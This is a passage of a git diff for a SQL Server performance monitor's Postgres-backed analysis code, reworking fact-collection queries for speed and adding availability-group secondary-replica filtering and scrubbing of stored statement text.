+            context.PlanRegressionWindowStart = readsDays ? windowFloor : null;
+
             if (offenderCount == 0) return;
 
             var fact = new Fact
@@ -664,6 +836,14 @@ replicas of one query are two rows and one offender. */
                not "no data". An abandonment is NOT swallowed here (#2443). */
             ReportCollectionFailure(ex, context);
         }
+        finally
+        {
+            /* After the reader and the connection's other locals are gone; a rollback, nothing here wrote. */
+            if (snapshot is not null)
+            {
+                await snapshot.DisposeAsync();
+            }
+        }
     }
 
     public const string ProcedureStatsSql = @"
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs
index 43a861b6f3..a66fe47e84 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs
@@ -358,21 +358,60 @@ private async Task CollectCpuUtilizationFactsAsync(AnalysisContext context, List
     /* #3527: delta_cntr_value spans one COLLECTION INTERVAL, not one second — at a 60s cadence the raw
        delta is 60x the true rate. The honest rate divides by the row's MEASURED sample_interval_seconds
        (#2234); interval <= 0 marks an unknowable delta (first sighting, counter reset, gap past the
-       policy), so those rows are filtered rather than emitted as 0 — rn = 1 lands on the newest row a
-       rate can honestly be derived from. */
+       policy), so those rows are filtered rather than emitted as 0 — the newest row per counter (LIMIT 1) lands on
+       the newest row a rate can honestly be derived from. */
+    /* #5516: the newest usable row per counter, read per counter instead of numbering every row in the window.
+       The old shape (ROW_NUMBER over the whole window, rn = 1) read each snapshot in the window to keep the last
+       one - 1,547 blocks a call, and the older chunks decompressed only to be thrown away. Each counter now takes
+       ORDER BY collection_time DESC LIMIT 1, which the (server_id, collection_time) index serves backward, so the
+       read stops inside the newest snapshot.
+
+       Not "the newest snapshot, then equality": the usable-row filter (sample_interval_seconds > 0) can drop a
+       counter from the newest snapshot, and the old read then returned that counter's OLDER usable row. A
+       per-counter LIMIT 1 returns the same rows in that case too; a read of the newest snapshot alone would
+       silently lose the fact. The counter list is closed, so one LIMIT 1 branch per counter is exact.
+
+       Worst case: a counter with no usable row in the window (every row at interval 0 after a restart or reset,
+       or a target that does not expose it) makes its branch walk the whole window backward and return nothing, so
+       with all three counters absent this costs up to three window walks where the old read made one. That is rare
+       on a healthy server and the answers are unchanged; a cheap bound cannot keep them, because the older usable
+       row a counter falls back to can sit anywhere in the window. */
     public const string PerfmonSql = @"
-WITH latest AS (
-    SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds,
-           ROW_NUMBER() OVER (PARTITION BY counter_name ORDER BY collection_time DESC) AS rn
+(
+    SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds
+    FROM perfmon_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   counter_name = 'Batch Requests/sec'
+    AND   sample_interval_seconds > 0
+    ORDER BY collection_time DESC
+    LIMIT 1
+)
+UNION ALL
+(
+    SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds
     FROM perfmon_stats
     WHERE server_id = $1
     AND   collection_time >= $2
     AND   collection_time <= $3
-    AND   counter_name IN ('Batch Requests/sec', 'SQL Compilations/sec', 'SQL Re-Compilations/sec')
+    AND   counter_name = 'SQL Compilations/sec'
     AND   sample_interval_seconds > 0
+    ORDER BY collection_time DESC
+    LIMIT 1
 )
-SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds
-FROM latest WHERE rn = 1";
+UNION ALL
+(
+    SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds
+    FROM perfmon_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   counter_name = 'SQL Re-Compilations/sec'
+    AND   sample_interval_seconds > 0
+    ORDER BY collection_time DESC
+    LIMIT 1
+)";
 
     /// <summary>
     /// Collects key perfmon throughput counters: Batch Requests/sec, compilations, recompilations.
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Storage.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Storage.cs
index 58dca3b8c0..da5a723db0 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Storage.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Storage.cs
@@ -34,10 +34,88 @@ SELECT SUM(size_mb) AS total_size_mb
 FROM latest
 WHERE rn = 1";
 
+    /* #5516: the cheap path for the sum DatabaseSizeSql computes. DatabaseSizeSql numbers every file row in the
+       24-hour lookback to keep the newest per file - 1,788 blocks a call. This reads only the newest snapshot
+       (the (server_id, collection_time) index serves MAX backward, then the rows by equality) and sums its
+       files.
+
+       DatabaseSizeSql also answers with a file's OLDER row when the newest snapshot lacks that file (a database
+       dropped or taken offline inside the lookback, or a per-database read that failed in the newest Azure SQL
+       Database sweep). No index leads with the file key, so no cheap read can find such a file; this read probes
+       instead. It lists the files of the snapshot just before the newest and of the oldest one in the lookback,
+       and reports whether either has a file the newest snapshot lacks. The caller then runs DatabaseSizeSql, so
+       the answer is the old one whenever a file has dropped out. The one case the probe cannot see is a file
+       that appears and vanishes strictly between those two snapshots and in neither of them; DatabaseSizeSql
+       would carry it for up to 24 hours as a ghost, and #3896 exists to age ghosts out. Columns: total_size_mb
+       (NULL with no qualifying row), dropped_out (true when DatabaseSizeSql must decide). */
+    public const string DatabaseSizeNewestSql = @"
+WITH newest AS (
+    SELECT collection_time
+    FROM file_io_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   size_mb > 0
+    ORDER BY collection_time DESC
+    LIMIT 1
+),
+cur AS (
+    SELECT DISTINCT ON (database_name, file_name) database_name, file_name, size_mb
+    FROM file_io_stats
+    WHERE server_id = $1
+    AND   collection_time = (SELECT collection_time FROM newest)
+    AND   size_mb > 0
+    ORDER BY database_name, file_name
+),
+edge AS (
+    (
+        SELECT collection_time
+        FROM file_io_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time < (SELECT collection_time FROM newest)
+        AND   size_mb > 0
+        ORDER BY collection_time DESC
+        LIMIT 1
+    )
+    UNION
+    (
+        SELECT collection_time
+        FROM file_io_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time < (SELECT collection_time FROM newest)
+        AND   size_mb > 0
+        ORDER BY collection_time ASC
+        LIMIT 1
+    )
+)
+SELECT
+    (SELECT SUM(size_mb) FROM cur) AS total_size_mb,
+    EXISTS (
+        SELECT 1
+        FROM file_io_stats AS f
+        WHERE f.server_id = $1
+        AND   f.collection_time IN (SELECT collection_time FROM edge)
+        AND   f.size_mb > 0
+        AND   NOT EXISTS (
+            SELECT 1
+            FROM cur AS c
+            WHERE c.database_name = f.database_name
+            AND   c.file_name = f.file_name
+        )
+    ) AS dropped_out";
+
     /// <summary>
     /// Collects total database data size from file_io_stats.
     /// Sums the latest size_mb across the database files seen within <see cref="AnalysisContext.LatestValueLookbackFor">its collector's lookback</see>
     /// of the window's end (#3896) — a file not seen in that span belongs to a database that no longer exists.
+    /// The sum comes from the newest snapshot alone (#5516); when a file in the probed older snapshots is
+    /// missing from it, <see cref="DatabaseSizeSql"/> decides. The one accepted difference from the full read: a file
+    /// seen only in snapshots strictly between the two probed ones (the oldest in the lookback and the one just
+    /// before the newest) is not carried as a ghost, where the full read carried it for up to 24 hours. That
+    /// answer can also reappear when the lookback's oldest snapshot later falls inside the file's life; the total
+    /// has no scoring weight, and #3896 treats such a ghost as not a database anyway.
     /// </summary>
     private async Task CollectDatabaseSizeFactAsync(AnalysisContext context, List<Fact> facts)
     {
@@ -45,17 +123,39 @@ private async Task CollectDatabaseSizeFactAsync(AnalysisContext context, List<Fa
         {
             await using var connection = await _postgres.OpenConnectionAsync(context.CancellationToken);
 
-            using var cmd = new NpgsqlCommand(DatabaseSizeSql, connection) { CommandTimeout = FactCommandTimeoutSeconds };
-            cmd.Parameters.AddWithValue(context.ServerId);
-            cmd.Parameters.AddWithValue(AsNaive(context.LatestValueStartFor(FileIoStatsCollector.Instance.Name)));
-            cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
+            double? totalSize = null;
+            var droppedOut = true;
+            using (var cmd = new NpgsqlCommand(DatabaseSizeNewestSql, connection) { CommandTimeout = FactCommandTimeoutSeconds })
+            {
+                cmd.Parameters.AddWithValue(context.ServerId);
+                cmd.Parameters.AddWithValue(AsNaive(context.LatestValueStartFor(FileIoStatsCollector.Instance.Name)));
+                cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
 
-            using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
-            if (!await reader.ReadAsync(context.CancellationToken)) return;
+                using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
+                if (await reader.ReadAsync(context.CancellationToken))
+                {
+                    totalSize = reader.IsDBNull(0) ? null : Convert.ToDouble(reader.GetValue(0));
+                    droppedOut = reader.GetBoolean(1);
+                }
+            }
+
+            /* Nothing qualifying at all is DatabaseSizeSql's empty answer too, so only a dropped-out file
+               needs the full read. */
+            if (droppedOut)
+            {
+                using var full = new NpgsqlCommand(DatabaseSizeSql, connection) { CommandTimeout = FactCommandTimeoutSeconds };
+                full.Parameters.AddWithValue(context.ServerId);
+                full.Parameters.AddWithValue(AsNaive(context.LatestValueStartFor(FileIoStatsCollector.Instance.Name)));
+                full.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
+
+                using var fullReader = await full.ExecuteReaderAsync(context.CancellationToken);
+                totalSize = null;
+                if (await fullReader.ReadAsync(context.CancellationToken))
+                    totalSize = fullReader.IsDBNull(0) ? null : Convert.ToDouble(fullReader.GetValue(0));
+            }
 
-            var totalSize = reader.IsDBNull(0) ? 0.0 : Convert.ToDouble(reader.GetValue(0));
-            if (totalSize > 0)
-                facts.Add(new Fact { Source = "config", Key = "DATABASE_TOTAL_SIZE_MB", Value = totalSize, ServerId = context.ServerId });
+            if (totalSize is > 0)
+                facts.Add(new Fact { Source = "config", Key = "DATABASE_TOTAL_SIZE_MB", Value = totalSize.Value, ServerId = context.ServerId });
         }
         catch (Exception ex) when (!AnalysisShutdown.IsExpectedAbandon(ex, context.CancellationToken))
         {
@@ -251,7 +351,8 @@ FROM latest
 WHERE rn = 1
 AND   is_percent_growth = true
 AND   total_size_mb >= 10240
-AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')";
+AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')
+/*SEC*/";
 
     /// <summary>
     /// Collects the percent-autogrowth-on-large-files config fact (WS3): data/log files set
@@ -272,6 +373,8 @@ private async Task CollectFileAutogrowthFactsAsync(AnalysisContext context, List
             cmd.Parameters.AddWithValue(context.ServerId);
             cmd.Parameters.AddWithValue(AsNaive(context.LatestValueStartFor(DatabaseSizeStatsCollector.Instance.Name)));
             cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
+            /* #5558: the file growth setting replicates from the primary; a secondary copy is the primary's to report. */
+            PgSecondaryReplicaScope.Apply(cmd, context, "FILE_AUTOGROWTH_PERCENT", "database_name");
 
             using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
             if (!await reader.ReadAsync(context.CancellationToken)) return;
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs
index b105a0cf21..be3a8e5f64 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs
@@ -56,7 +56,7 @@ namespace PerformanceMonitor.Darling.Analysis;
 /// No query used <c>NOW()</c>/<c>CURRENT_TIMESTAMP</c> (every window bound is a parameter), no
 /// <c>QUALIFY</c> appears (that lives in BaselineProvider, a different slice), and the one
 /// <c>any_value()</c> use is standard SQL:2023, in Postgres since 16 (the product's minimum PG
-/// is 17) — all pinned by <c>PgFactCollectorTests</c>.
+/// is 16) — all pinned by <c>PgFactCollectorTests</c>.
 /// </para>
 /// </summary>
 public sealed partial class PgFactCollector : IFactCollector
@@ -304,6 +304,7 @@ public async Task<List<Fact>> CollectConfigAuditFactsAsync(AnalysisContext conte
         ServerConfigSql,
         MemoryStatsSql,
         DatabaseSizeSql,
+        DatabaseSizeNewestSql,
         ServerMetadataSql,
         CpuUtilizationSql,
         RunnableTaskStatsSql,
@@ -314,6 +315,7 @@ public async Task<List<Fact>> CollectConfigAuditFactsAsync(AnalysisContext conte
         ParameterSensitivitySql,
         PlanRegressionSql,
         PlanRegressionTableSql,
+        PlanRegressionDailySql,
         BadActorSql,
         PerfmonSql,
         MemoryClerkSql,
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs
index f108bd0924..68ee348f5e 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs
@@ -1001,7 +1001,9 @@ private async Task InsertFindingAsync(
         command.Parameters.AddWithValue(finding.Category);
         command.Parameters.AddWithValue(finding.StoryPath);
         command.Parameters.AddWithValue(finding.StoryPathHash);
-        command.Parameters.AddWithValue(finding.StoryText);
+        /* #4348/#5320 Layer 0b: the story is judged where it is written, because the rows it was built from may
+           predate the collection-time filter. Clean text is the same instance, so the stored row is unchanged. */
+        command.Parameters.AddWithValue(DerivedStoreScrub.Text(finding.StoryText));
         command.Parameters.AddWithValue(finding.RootFactKey);
         command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Double, Value = (object?)finding.RootFactValue ?? DBNull.Value });
         command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)finding.LeafFactKey ?? DBNull.Value });
@@ -1024,7 +1026,8 @@ Recommendations reader can drive Apply + consent from a stored finding. */
         command.Parameters.Add(new NpgsqlParameter
         {
             NpgsqlDbType = NpgsqlDbType.Text,
-            Value = (object?)DrillDownSerializer.Serialize(finding.DrillDown) ?? DBNull.Value
+            /* #4348/#5320 Layer 0b: the evidence rows quote statement text from the source rows. */
+            Value = (object?)DerivedStoreScrub.Json(DrillDownSerializer.Serialize(finding.DrillDown)) ?? DBNull.Value
         });
 
         await command.ExecuteNonQueryAsync();
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs
index c5e9747f60..c512ceecfc 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs
@@ -38,13 +38,17 @@ namespace PerformanceMonitor.Darling.Analysis;
 /// </summary>
 public sealed class PgPileupSnapshotReader
 {
+    /// <summary>The characters of a statement the detector keeps (the bound the read's <c>LEFT()</c> applied until #5320).</summary>
+    internal const int StatementTextCharacters = 1500;
+
     private readonly NpgsqlDataSource _postgres;
     private readonly ILogger? _logger;
 
     /// <summary>
     /// $1 server_id, $2 window floor (naive UTC — <c>collection_time</c> is stamped host-UTC by the
-    /// collector runner and stored naive). LEFT() bounds the text to what identity fallback and the
-    /// drill-down preview need. Bounded output: the window is
+    /// collector runner and stored naive). The text comes back WHOLE (#5320): <see cref="ReadWindowAsync"/> cuts it to
+    /// <see cref="StatementTextCharacters"/> code points, the bound identity fallback and the drill-down preview
+    /// need, and judges the whole statement with the sensitive-statement filter before the cut that is printed. Bounded output: the window is
     /// <see cref="SameStatementPileupDetector.BaselineLookbackMinutes"/> of a one-minute-cadence
     /// collector, ~50–150 rows on a busy server; the LIMIT is a tripwire against a misbehaving
     /// snapshot (a runaway session count), not a working cap.
@@ -53,7 +57,7 @@ public sealed class PgPileupSnapshotReader
 SELECT collection_time,
        session_id,
        query_hash,
-       LEFT(query_text, 1500) AS query_text,
+       query_text,
        database_name,
        status,
        wait_type,
@@ -101,11 +105,14 @@ public PgPileupSnapshotReader(NpgsqlDataSource postgres, ILogger? logger = null)
             using var reader = await command.ExecuteReaderAsync(cancellationToken);
             while (await reader.ReadAsync(cancellationToken))
             {
+                var rawText = reader.IsDBNull(3) ? null : reader.GetString(3);
                 rows.Add(new SameStatementPileupDetector.SnapshotRow(
                     CollectionTime: reader.GetDateTime(0),
                     SessionId: reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
                     QueryHash: reader.IsDBNull(2) ? null : reader.GetString(2),
-                    QueryText: reader.IsDBNull(3) ? null : reader.GetString(3),
+                    /* #5320: the raw cut feeds only the identity surrogate and the noise filter, exactly as the
+                       SQL cut did; the text the finding prints is judged whole, then cut (PreviewText). */
+                    QueryText: rawText is null ? null : AnalysisStatementText.CutCodePoints(rawText, StatementTextCharacters),
                     DatabaseName: reader.IsDBNull(4) ? null : reader.GetString(4),
                     Status: reader.IsDBNull(5) ? null : reader.GetString(5),
                     WaitType: reader.IsDBNull(6) ? null : reader.GetString(6),
@@ -113,7 +120,8 @@ public PgPileupSnapshotReader(NpgsqlDataSource postgres, ILogger? logger = null)
                     ElapsedMs: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
                     CpuTimeMs: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
                     LogicalReads: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
-                    PhysicalReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11))));
+                    PhysicalReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
+                    PreviewText: AnalysisStatementText.Preview(rawText, StatementTextCharacters)));
             }
         }
         catch (Exception ex) when (!AnalysisShutdown.IsExpectedAbandon(ex, cancellationToken))
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgSecondaryReplicaScope.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgSecondaryReplicaScope.cs
new file mode 100644
index 0000000000..d982f930bf
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgSecondaryReplicaScope.cs
@@ -0,0 +1,150 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Analysis;
+
+/// <summary>
+/// #5558, Darling's half of Lite's <c>SecondaryReplicaScope</c>: resolves
+/// <see cref="AnalysisContext.SecondaryReplicaDatabases"/> from the store's own <c>ag_replica_states</c> and
+/// <c>ag_database_replica_states</c> snapshots at or before the pass's window end, and builds the predicate the
+/// replicated facts add. The decision is <see cref="AgReplicaScope"/>'s; this class only reads rows. Every failure
+/// is "skip nothing".
+/// </summary>
+public static class PgSecondaryReplicaScope
+{
+    /// <summary>The marker a replicated read puts in its SQL where the secondary-database predicate goes.</summary>
+    public const string Marker = "/*SEC*/";
+
+    /// <summary>The set a pass that reads only node-local facts carries: nothing is skipped, and no AG read is paid for.</summary>
+    public static IReadOnlySet<string> NoneSkipped { get; } = new HashSet<string>(StringComparer.Ordinal);
+
+    /// <summary>Fills the set once per context. Never throws except an abandonment: a read fault logs and leaves the pass unfiltered.</summary>
+    public static async Task EnsureAsync(NpgsqlDataSource postgres, AnalysisContext context, Microsoft.Extensions.Logging.ILogger? logger)
+    {
+        if (context.SecondaryReplicaDatabases is not null) return;
+        context.SecondaryReplicaDatabases = await ReadAsync(postgres, context.ServerId, context.TimeRangeEnd, logger, context.CancellationToken);
+    }
+
+    /// <summary>The secondary databases as of <paramref name="asOfUtc"/>; empty on every failure or unknown.</summary>
+    public static async Task<IReadOnlySet<string>> ReadAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime asOfUtc,
+        Microsoft.Extensions.Logging.ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            var asOf = DateTime.SpecifyKind(asOfUtc, DateTimeKind.Unspecified);
+
+            var replicaTime = await NewestAsync(connection, "ag_replica_states", serverId, asOf, cancellationToken);
+            var databaseTime = await NewestAsync(connection, "ag_database_replica_states", serverId, asOf, cancellationToken);
+            if (!AgReplicaScope.IsFresh(replicaTime, asOfUtc) || !AgReplicaScope.IsFresh(databaseTime, asOfUtc))
+                return new HashSet<string>(StringComparer.Ordinal);
+
+            var replicas = new List<AgReplicaReading>();
+            using (var cmd = new NpgsqlCommand(
+                "SELECT ag_name, replica_server_name, role_desc, is_local FROM ag_replica_states WHERE server_id = $1 AND collection_time = $2", connection)
+            { CommandTimeout = DarlingAnalysisService.AnalysisCommandTimeoutSeconds })
+            {
+                cmd.Parameters.AddWithValue(serverId);
+                cmd.Parameters.AddWithValue(DateTime.SpecifyKind(replicaTime!.Value, DateTimeKind.Unspecified));
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    if (reader.IsDBNull(0)) continue;
+                    replicas.Add(new AgReplicaReading(
+                        AgName: reader.GetString(0),
+                        ReplicaServerName: reader.IsDBNull(1) ? "" : reader.GetString(1),
+                        RoleDesc: reader.IsDBNull(2) ? null : reader.GetString(2),
+                        ConnectedStateDesc: null,
+                        IsLocal: reader.IsDBNull(3) ? null : reader.GetBoolean(3)));
+                }
+            }
+
+            var databases = new List<AgDatabaseMembership>();
+            using (var cmd = new NpgsqlCommand(
+                "SELECT ag_name, database_name, is_local FROM ag_database_replica_states WHERE server_id = $1 AND collection_time = $2", connection)
+            { CommandTimeout = DarlingAnalysisService.AnalysisCommandTimeoutSeconds })
+            {
+                cmd.Parameters.AddWithValue(serverId);
+                cmd.Parameters.AddWithValue(DateTime.SpecifyKind(databaseTime!.Value, DateTimeKind.Unspecified));
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    if (reader.IsDBNull(0) || reader.IsDBNull(1)) continue;
+                    databases.Add(new AgDatabaseMembership(
+                        reader.GetString(0), reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetBoolean(2)));
+                }
+            }
+
+            return AgReplicaScope.SecondaryDatabases(replicas, databases);
+        }
+        catch (Exception ex) when (!AnalysisShutdown.IsExpectedAbandon(ex, cancellationToken))
+        {
+            logger?.LogWarning(ex, "Availability Group role lookup failed for server {ServerId}; no database is skipped this pass", serverId);
+            return new HashSet<string>(StringComparer.Ordinal);
+        }
+    }
+
+    private static async Task<DateTime?> NewestAsync(
+        NpgsqlConnection connection, string table, int serverId, DateTime asOf, CancellationToken cancellationToken)
+    {
+        /* The table name is a constant of this class, never input. */
+        /* The lower bound is the freshness limit: an older snapshot is stale and yields the empty set anyway
+           (AgReplicaScope.IsFresh), so the bound changes no answer but lets the hypertable exclude old chunks. */
+        using var cmd = new NpgsqlCommand(
+            "SELECT MAX(collection_time) FROM " + table
+            + " WHERE server_id = $1 AND collection_time <= $2 AND collection_time >= $3", connection)
+        { CommandTimeout = DarlingAnalysisService.AnalysisCommandTimeoutSeconds };
+        cmd.Parameters.AddWithValue(serverId);
+        cmd.Parameters.AddWithValue(asOf);
+        cmd.Parameters.AddWithValue(asOf - AgReplicaScope.SnapshotFreshness);
+        var value = await cmd.ExecuteScalarAsync(cancellationToken);
+        return value is DateTime at ? DateTime.SpecifyKind(at, DateTimeKind.Utc) : null;
+    }
+
+    /// <summary>The note for the viewer, web and MCP, or null when nothing is skipped. The role is the current one,
+    /// or the role at <paramref name="asOfUtc"/> for an AsOf read of stored findings.</summary>
+    public static async Task<string?> NoteAsync(
+        NpgsqlDataSource postgres, int serverId, Microsoft.Extensions.Logging.ILogger? logger, CancellationToken cancellationToken,
+        DateTime? asOfUtc = null)
+    {
+        var set = await ReadAsync(postgres, serverId, asOfUtc ?? DateTime.UtcNow, logger, cancellationToken);
+        return AgReplicaScope.SkippedNote(set);
+    }
+
+    /// <summary>
+    /// Replaces <see cref="Marker"/> in the command's text with the predicate that drops the skipped databases of
+    /// <paramref name="factKey"/> (<see cref="FactReplicaScope"/>), binding the names (exact casing) as one text[]
+    /// parameter numbered after the parameters already added. <paramref name="keyword"/> is AND for a clause that
+    /// extends a WHERE and WHERE for one that opens it. With nothing to skip the marker just disappears: the SQL is
+    /// the same as before and no parameter is added. Call it after every other parameter is bound.
+    /// </summary>
+    public static void Apply(NpgsqlCommand cmd, AnalysisContext context, string factKey, string column, string keyword = "AND")
+    {
+        var names = FactReplicaScope.SecondariesFor(context, factKey);
+        if (names.Length == 0)
+        {
+            cmd.CommandText = cmd.CommandText.Replace(Marker, string.Empty, StringComparison.Ordinal);
+            return;
+        }
+
+        var index = cmd.Parameters.Count + 1;
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = names });
+        cmd.CommandText = cmd.CommandText.Replace(
+            Marker, $" {keyword} ({column} IS NULL OR {column} <> ALL(${index}::text[]))", StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs
index d62c21416b..51ef1c628b 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs
@@ -17,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Analysis;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Analysis;
@@ -67,9 +68,10 @@ public sealed partial class PgTargetDrillDownCollector
 
     /// <summary>
     /// The captured deadlock reports in the window, grouped into SHAPES and ranked by recurrence.
-    /// <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the shape cap, <c>$5</c> and
-    /// <c>$6</c> how much of the statement and the graph are read, which since #4005 is what normalizing them
-    /// needs (<c>PgDeadlockLogParser.NormalizeReadCap</c>) rather than the caps the drill-down shows.
+    /// <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the shape cap. The statement and
+    /// the graph come back whole (#5320): normalizing withholds one longer than the lexer reads
+    /// (<c>PgDeadlockLogParser.NormalizeReadCap</c>), the statement filter judges the whole normalized text, and the
+    /// caps the drill-down shows are applied last.
     ///
     /// <para><b>A shape is <c>(participant_count, lock_modes, resources)</c>, not <c>deadlock_hash</c>.</b>
     /// The hash is <c>PgDeadlockLogParser.IdentityOf</c> — SHA-256 over the timestamp and the DETAIL block, pids
@@ -85,9 +87,8 @@ public sealed partial class PgTargetDrillDownCollector
     /// <para><b>Windowed on <c>COALESCE(occurred_at, collection_time)</c></b>, the same expression the rate
     /// fact's <c>exemplar_count</c> is counted on and <c>DarlingPgDeadlockReader</c> reads, so the rows here are
     /// the rows that count named and <c>log_captured</c> in the payload agrees with the card and the grid
-    ///. <c>occurred_at</c> is nullable, hence the fallback. <c>$7</c> is the
-    /// <see cref="PerformanceMonitor.Darling.Storage.EventWindowFloor"/> for <c>$2</c>, bound LAST so the
-    /// existing <c>$4</c>–<c>$6</c> keep their numbers; it bounds <c>collection_time</c> from below only, so a
+    ///. <c>occurred_at</c> is nullable, hence the fallback. <c>$5</c> is the
+    /// <see cref="PerformanceMonitor.Darling.Storage.EventWindowFloor"/> for <c>$2</c>, bound LAST; it bounds <c>collection_time</c> from below only, so a
     /// report collected late still counts.</para>
     ///
     /// <para>The exemplar of each shape is its LATEST report (<c>array_agg(… ORDER BY occurred_at DESC NULLS
@@ -117,7 +118,7 @@ FROM pg_deadlocks
     WHERE server_id = $1
     AND   COALESCE(occurred_at, collection_time) >= $2
     AND   COALESCE(occurred_at, collection_time) <= $3
-    AND   collection_time >= $7
+    AND   collection_time >= $5
     GROUP BY participant_count, lock_modes, resources
 )
 SELECT
@@ -130,9 +131,9 @@ AND   COALESCE(occurred_at, collection_time) <= $3
     last_seen,
     latest_hash,
     latest_victim_pid,
-    LEFT(latest_victim_statement, $5)                    AS victim_statement,
+    latest_victim_statement                              AS victim_statement,
     length(latest_victim_statement)                      AS victim_statement_length,
-    LEFT(latest_graph_text, $6)                          AS graph_text,
+    latest_graph_text                                    AS graph_text,
     length(latest_graph_text)                            AS graph_text_length,
     CAST(count(*) OVER () AS integer)                    AS distinct_shapes,
     CAST(SUM(reports) OVER () AS integer)                AS total_reports,
@@ -194,9 +195,8 @@ private async partial Task CollectDeadlockExemplarsAsync(AnalysisFinding finding
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeStart));
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
         cmd.Parameters.AddWithValue(DeadlockExemplarCap);
-        /* #4005: the read cuts at what normalizing needs, and the caps are applied after it — see below. */
-        cmd.Parameters.AddWithValue(PgDeadlockLogParser.NormalizeReadCap);
-        cmd.Parameters.AddWithValue(PgDeadlockLogParser.NormalizeReadCap);
+        /* #5320: the read returns the whole statement and graph; normalizing withholds one past what the lexer
+           reads, then the statement filter judges the whole normalized text, and the caps are applied after both. */
         cmd.Parameters.AddWithValue(PerformanceMonitor.Darling.Storage.EventWindowFloor.For(context.TimeRangeStart));
 
